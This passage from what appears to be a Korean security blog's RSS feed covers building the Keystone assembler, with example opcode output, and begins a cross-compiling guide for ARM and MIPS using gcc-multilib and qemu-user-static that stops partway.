      <description>&lt;p&gt;오호..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;엄청난 툴이 나왔습니다..!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://avatars0.githubusercontent.com/u/17336151?v=3&amp;amp;s=200&quot; alt=&quot;@keystone-engine&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;최근에 멀티 아키텍쳐를 지원하는 opcode generator 를 만들고 있었는데 버그를 만나서 때려쳤는데 얼마 지나지 않아 Keystone 이라고 하는 어셈블러가 나왔네요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오예&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;프로젝트의 주소는&amp;nbsp;&lt;a href=&quot;https://github.com/keystone-engine/keystone&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://github.com/keystone-engine/keystone&lt;/a&gt; 에서 받고 빌드하실 수 있습니다...!!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;공식 홈페이지의 주소는&amp;nbsp;&lt;a href=&quot;http://www.keystone-engine.org/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://www.keystone-engine.org/&lt;/a&gt; 입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;깃에 써있는것을 보면..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p style=&quot;box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51); font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 16px; line-height: 25.6px;&quot;&gt;Keystone is a lightweight multi-platform, multi-architecture assembler framework. It offers some unparalleled features:&lt;/p&gt;&lt;ul style=&quot;box-sizing: border-box; padding-left: 2em; margin-top: 0px; margin-bottom: 16px; color: rgb(51, 51, 51); font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 16px; line-height: 25.6px;&quot;&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Multi-architecture, with support for Arm, Arm64 (AArch64/Armv8), Hexagon, Mips, PowerPC, Sparc, SystemZ &amp;amp; X86 (include 16/32/64bit).&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Clean/simple/lightweight/intuitive architecture-neutral API.&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Implemented in C/C++ languages, with bindings for Python, NodeJS, Ruby, Go, Rust &amp;amp; Haskell available.&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Native support for Windows &amp;amp; *nix (with Mac OSX, Linux, *BSD &amp;amp; Solaris confirmed).&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Thread-safe by design.&lt;/li&gt;&lt;li style=&quot;box-sizing: border-box;&quot;&gt;Open source - with a dual license.&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;box-sizing: border-box; margin-bottom: 16px; color: rgb(51, 51, 51); font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 16px; line-height: 25.6px;&quot;&gt;Keystone is based on LLVM, but it goes much further with&amp;nbsp;&lt;a href=&quot;https://github.com/keystone-engine/keystone/blob/master/docs/beyond_llvm.md&quot; style=&quot;box-sizing: border-box; color: rgb(64, 120, 192); background-color: transparent;&quot;&gt;a lot more to offer&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 16px; line-height: 25.6px;&quot;&gt;Further information is available at&lt;/span&gt;&lt;span style=&quot;color: rgb(51, 51, 51); font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 16px; line-height: 25.6px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://www.keystone-engine.org/&quot; style=&quot;font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol'; font-size: 16px; line-height: 25.6px; box-sizing: border-box; color: rgb(64, 120, 192); background-color: transparent;&quot;&gt;http://www.keystone-engine.org&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이렇게 써있군요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오픈소스에 멀티아키텍쳐 및 다양한 언어 지원!! 얼른 써봅시다&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Git clone 으로 서버에 받고 나서 빌드 스크립트를 실행하기 전에 아래 Dependency 를 해결해줍시다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sudo apt-get install cmake&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그 이후 keystone의 루트 디렉터리에 build 라는 폴더를 만들고 이동합니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;그리고 ../make-share.sh 스크립트를 실행해주면 알아서 make를 날려줍니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu keystone]$ &lt;b&gt;mkdir build&lt;/b&gt;&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu keystone]$ &lt;b&gt;cd build/&lt;/b&gt;&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu build]$ l&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu build]$ &lt;b&gt;../make-share.sh&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;+ [ -n &amp;nbsp;]&lt;/p&gt;&lt;p&gt;+ cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=ON -DLLVM_TARGETS_TO_BUILD=all -G Unix Makefiles ..&lt;/p&gt;&lt;p&gt;-- The C compiler identification is GNU 5.3.1&lt;/p&gt;&lt;p&gt;-- The CXX compiler identification is GNU 5.3.1&lt;/p&gt;&lt;p&gt;-- Check for working C compiler: /usr/bin/cc&lt;/p&gt;&lt;p&gt;-- Check for working C compiler: /usr/bin/cc -- works&lt;/p&gt;&lt;p&gt;-- Detecting C compiler ABI info&lt;/p&gt;&lt;p&gt;-- Detecting C compiler ABI info - done&lt;/p&gt;&lt;p&gt;-- Detecting C compile features&lt;/p&gt;&lt;p&gt;-- Detecting C compile features - done&lt;/p&gt;&lt;p&gt;-- Check for working CXX compiler: /usr/bin/c++&lt;/p&gt;&lt;p&gt;-- Check for working CXX compiler: /usr/bin/c++ -- works&lt;/p&gt;&lt;p&gt;-- Detecting CXX compiler ABI info&lt;/p&gt;&lt;p&gt;-- Detecting CXX compiler ABI info - done&lt;/p&gt;&lt;p&gt;-- Detecting CXX compile features&lt;/p&gt;&lt;p&gt;-- Detecting CXX compile features - done&lt;/p&gt;&lt;p&gt;-- The ASM compiler identification is GNU&lt;/p&gt;&lt;p&gt;....&lt;br /&gt;&lt;/p&gt;&lt;p&gt;[ 98%] Linking CXX shared library ../lib/libkeystone.so&lt;/p&gt;&lt;p&gt;[ 98%] Built target keystone&lt;/p&gt;&lt;p&gt;Scanning dependencies of target kstool&lt;/p&gt;&lt;p&gt;[ 99%] Building CXX object kstool/CMakeFiles/kstool.dir/kstool.cpp.o&lt;/p&gt;&lt;p&gt;[100%] Linking CXX executable kstool&lt;/p&gt;&lt;p&gt;[100%] Built target kstool&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;make가 끝났으면 make install로 마무리 해줍니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu build]$ sudo make install&lt;/p&gt;&lt;p&gt;[ 98%] Built target keystone&lt;/p&gt;&lt;p&gt;[100%] Built target kstool&lt;/p&gt;&lt;p&gt;Install the project...&lt;/p&gt;&lt;p&gt;-- Install configuration: &quot;Release&quot;&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/lib/pkgconfig/keystone.pc&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/x86.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/systemz.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/hexagon.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/sparc.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/arm64.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/ppc.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/mips.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/keystone.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/include/keystone/arm.h&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/lib/libkeystone.so.0&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/lib/libkeystone.so&lt;/p&gt;&lt;p&gt;-- Installing: /usr/local/bin/kstool&lt;/p&gt;&lt;p&gt;-- Set runtime path of &quot;/usr/local/bin/kstool&quot; to &quot;&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;자 이러면 설치 끝!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;매우 쉽죠?&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;간단하게 사용해봅시다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;우선 커맨드라인으로 빠르게 보고싶다면..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu build]$ kstool x32 &quot;nop&quot;&lt;/p&gt;&lt;p&gt;nop = [ 90 ]&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu build]$ kstool x32 &quot;add eax, ebx&quot;&lt;/p&gt;&lt;p&gt;add eax, ebx = [ 01 d8 ]&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu build]$ kstool arm &quot;mov r1, r1&quot;&lt;/p&gt;&lt;p&gt;mov r1, r1 = [ 01 10 a0 e1 ]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;오홍.. 역시 기대한 대로 잘 나오는군요&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;Kstool v1.0 for Keystone Assembler Engine (www.keystone-engine.org)&lt;/p&gt;&lt;p&gt;By Nguyen Anh Quynh, 2016&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Syntax: kstool &amp;lt;arch+mode&amp;gt; &amp;lt;assembly-string&amp;gt; or cat &amp;lt;asmfile&amp;gt; | kstool &amp;lt;arch+mode&amp;gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The following &amp;lt;arch+mode&amp;gt; options are supported:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x16: &amp;nbsp; &amp;nbsp; &amp;nbsp; X86 16bit, Intel syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x32: &amp;nbsp; &amp;nbsp; &amp;nbsp; X86 32bit, Intel syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x64: &amp;nbsp; &amp;nbsp; &amp;nbsp; X86 64bit, Intel syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x16att: &amp;nbsp; &amp;nbsp;X86 16bit, AT&amp;amp;T syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x32att: &amp;nbsp; &amp;nbsp;X86 32bit, AT&amp;amp;T syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x64att: &amp;nbsp; &amp;nbsp;X86 64bit, AT&amp;amp;T syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x16nasm: &amp;nbsp; X86 16bit, NASM syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x32nasm: &amp;nbsp; X86 32bit, NASM syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; x64nasm: &amp;nbsp; X86 64bit, NASM syntax&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; arm: &amp;nbsp; &amp;nbsp; &amp;nbsp; ARM - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; armbe: &amp;nbsp; &amp;nbsp; ARM - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; thumb: &amp;nbsp; &amp;nbsp; Thumb - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; thumbbe: &amp;nbsp; Thumb - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; arm64: &amp;nbsp; &amp;nbsp; AArch64&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hexagon: &amp;nbsp; Hexagon&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mips: &amp;nbsp; &amp;nbsp; &amp;nbsp;Mips - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mipsbe: &amp;nbsp; &amp;nbsp;Mips - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mips64: &amp;nbsp; &amp;nbsp;Mips64 - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; mips64be: &amp;nbsp;Mips64 - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ppc32be: &amp;nbsp; PowerPC32 - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ppc64: &amp;nbsp; &amp;nbsp; PowerPC64 - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ppc64be: &amp;nbsp; PowerPC64 - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sparc: &amp;nbsp; &amp;nbsp; Sparc - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sparcbe: &amp;nbsp; Sparc - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sparc64: &amp;nbsp; Sparc64 - little endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sparc64be: Sparc64 - big endian&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; systemz: &amp;nbsp; SystemZ (S390x)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;위는 지원하는 목록입니다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu python]$ ls&lt;/p&gt;&lt;p&gt;keystone &amp;nbsp;LICENSE.TXT &amp;nbsp;Makefile &amp;nbsp;MANIFEST.in &amp;nbsp;README.md &amp;nbsp;sample.py &amp;nbsp;setup.py&lt;/p&gt;&lt;p&gt;[sweetchip@ubuntu python]$ sudo python setup.py install&lt;/p&gt;&lt;p&gt;running install&lt;/p&gt;&lt;p&gt;running build&lt;/p&gt;&lt;p&gt;running build_py&lt;/p&gt;&lt;p&gt;creating build&lt;/p&gt;&lt;div&gt;...&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;만약 python에서도&amp;nbsp;사용하고 싶다면 keystone/bindings/python/ 로 이동후에 설치해줍니다!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu python]$ python sample.py&amp;nbsp;&lt;/p&gt;&lt;p&gt;add eax, ecx = [ 66 01 c8 ]&lt;/p&gt;&lt;p&gt;add eax, ecx = [ 01 c8 ]&lt;/p&gt;&lt;p&gt;add rax, rcx = [ 48 01 c8 ]&lt;/p&gt;&lt;p&gt;add %ecx, %eax = [ 01 c8 ]&lt;/p&gt;&lt;p&gt;add %rcx, %rax = [ 48 01 c8 ]&lt;/p&gt;&lt;p&gt;sub r1, r2, r5 = [ 05 10 42 e0 ]&lt;/p&gt;&lt;p&gt;sub r1, r2, r5 = [ e0 42 10 05 ]&lt;/p&gt;&lt;p&gt;movs r4, #0xf0 = [ f0 24 ]&lt;/p&gt;&lt;p&gt;movs r4, #0xf0 = [ 24 f0 ]&lt;/p&gt;&lt;p&gt;ldr w1, [sp, #0x8] = [ e1 0b 40 b9 ]&lt;/p&gt;&lt;p&gt;v23.w=vavg(v11.w,v2.w):rnd = [ d7 cb e2 1c ]&lt;/p&gt;&lt;p&gt;and $9, $6, $7 = [ 24 48 c7 00 ]&lt;/p&gt;&lt;p&gt;and $9, $6, $7 = [ 00 c7 48 24 ]&lt;/p&gt;&lt;p&gt;and $9, $6, $7 = [ 24 48 c7 00 ]&lt;/p&gt;&lt;p&gt;and $9, $6, $7 = [ 00 c7 48 24 ]&lt;/p&gt;&lt;p&gt;add 1, 2, 3 = [ 7c 22 1a 14 ]&lt;/p&gt;&lt;p&gt;add 1, 2, 3 = [ 14 1a 22 7c ]&lt;/p&gt;&lt;p&gt;add 1, 2, 3 = [ 7c 22 1a 14 ]&lt;/p&gt;&lt;p&gt;add %g1, %g2, %g3 = [ 02 40 00 86 ]&lt;/p&gt;&lt;p&gt;add %g1, %g2, %g3 = [ 86 00 40 02 ]&lt;/p&gt;&lt;p&gt;a %r0, 4095(%r15,%r1) = [ 5a 0f 1f ff ]&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;설치 후 sample.py를 실행시켜 제대로 작동하는지 확인하니 잘 나오네요.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;이제 이걸로 뭘 할까나..&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>0x10 정보보안/0x14 Reverse Engineering</category>
      <author>sweetchip</author>
      <guid isPermaLink="true">https://pgnsc.tistory.com/402</guid>
      <comments>https://pgnsc.tistory.com/402#entry402comment</comments>
      <pubDate>Wed, 8 Jun 2016 03:54:48 +0900</pubDate>
    </item>
    <item>
      <title>ARM, MIPS, PPC등 크로스 컴파일 및 바이너리 실행하기 (gcc-multilib, qemu-user-static 이용)</title>
      <link>https://pgnsc.tistory.com/401</link>
      <description>&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Ubuntu 기준으로 크로스 컴파일 하는법.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;최근&amp;nbsp;여러 아키텍쳐 환경을 구성해야할 일이 있어서 메모!&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;1. 아래 명령어로 여러 아키텍쳐 gcc 설치 (arm, mips, ppc 등 다수 포함)&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sudo apt-get install -y &amp;nbsp;gcc-multilib-arm-linux-gnueabi;sudo apt-get install -y &amp;nbsp;gcc-multilib-arm-linux-gnueabihf;sudo apt-get install -y &amp;nbsp;gcc-multilib-mips-linux-gnu;sudo apt-get install -y &amp;nbsp;gcc-multilib-mips64-linux-gnuabi64;sudo apt-get install -y &amp;nbsp;gcc-multilib-mips64el-linux-gnuabi64;sudo apt-get install -y &amp;nbsp;gcc-multilib-mipsel-linux-gnu;sudo apt-get install -y &amp;nbsp;gcc-multilib-powerpc-linux-gnu;sudo apt-get install -y &amp;nbsp;gcc-multilib-powerpc64-linux-gnu;sudo apt-get install -y &amp;nbsp;gcc-multilib-s390x-linux-gnu;sudo apt-get install -y &amp;nbsp;gcc-multilib-sparc64-linux-gnu&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;복사가 어렵다면&amp;nbsp;&lt;a href=&quot;http://pastebin.com/iksPEaAH&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://pastebin.com/iksPEaAH&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;2. 설치 이후 아래와 같이 컴파일&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;arm-linux-gnueabi-gcc -o test test.c -&amp;gt; arm&lt;/p&gt;
&lt;p&gt;mips-linux-gnu-gcc -o test_mips test.c -&amp;gt;mips&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;결과&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu qemutest]$ file test&lt;/p&gt;
&lt;p&gt;test: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=a9248b1c3ba0c940029d23e1f345d3df28f6d39b, not stripped&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;[sweetchip@ubuntu qemutest]$ file test_mips&lt;/p&gt;
&lt;p&gt;test_mips: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 3.2.0, BuildID[sha1]=2e9ee6c560f47f28aa1ee329fba06e38bbb0960e, not stripped&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;보너스&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;만약 ubuntu 에서 mips나 arm 바이너리를 돌리고 싶다면 아래 명령어를 통해서 qemu를 설치한다&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;sudo apt-get install qemu-user-static &lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;qemu-user-static 은 이미지를 구하지 않고도 ELF 바이너리를 돌릴수 있도록 도와주는 매우 땡큐한 툴이다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;설치 이후 가능한 목록은 아래와 같다.&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border: 1px dashed rgb(121, 165, 228); padding: 10px; background-color: rgb(219, 232, 251);&quot;&gt;&lt;p&gt;[sweetchip@ubuntu qemutest]$ ls /usr/bin/qemu-&lt;/p&gt;
&lt;p&gt;qemu-aarch64-static &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-m68k-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-mipsn32el-static &amp;nbsp; &amp;nbsp; qemu-ppc64-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-sparc64-static&lt;/p&gt;
&lt;p&gt;qemu-alpha-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-microblazeel-static &amp;nbsp;qemu-mipsn32-static &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-ppc-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-sparc-static&lt;/p&gt;
&lt;p&gt;qemu-armeb-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-microblaze-static &amp;nbsp; &amp;nbsp;qemu-mips-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-s390x-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-tilegx-static&lt;/p&gt;
&lt;p&gt;qemu-arm-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-mips64el-static &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-or32-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-sh4eb-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-unicore32-static&lt;/p&gt;
&lt;p&gt;qemu-cris-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-mips64-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-ppc64abi32-static &amp;nbsp; &amp;nbsp;qemu-sh4-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-x86_64-static&lt;/p&gt;
&lt;p&gt;qemu-i386-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-mipsel-static &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;qemu-ppc64le-static &amp;nbsp; &amp;nbsp; &amp;nbsp; qemu-sparc32plus-static&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;엄청나게 많은 아키텍쳐를 지원한다.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;그중 아까 컴파일한 arm과 mips를 돌려보자. (사전에 gdb-multiarch 설치 필요, apt-get 으로 설치한다.)&lt;/p&gt;
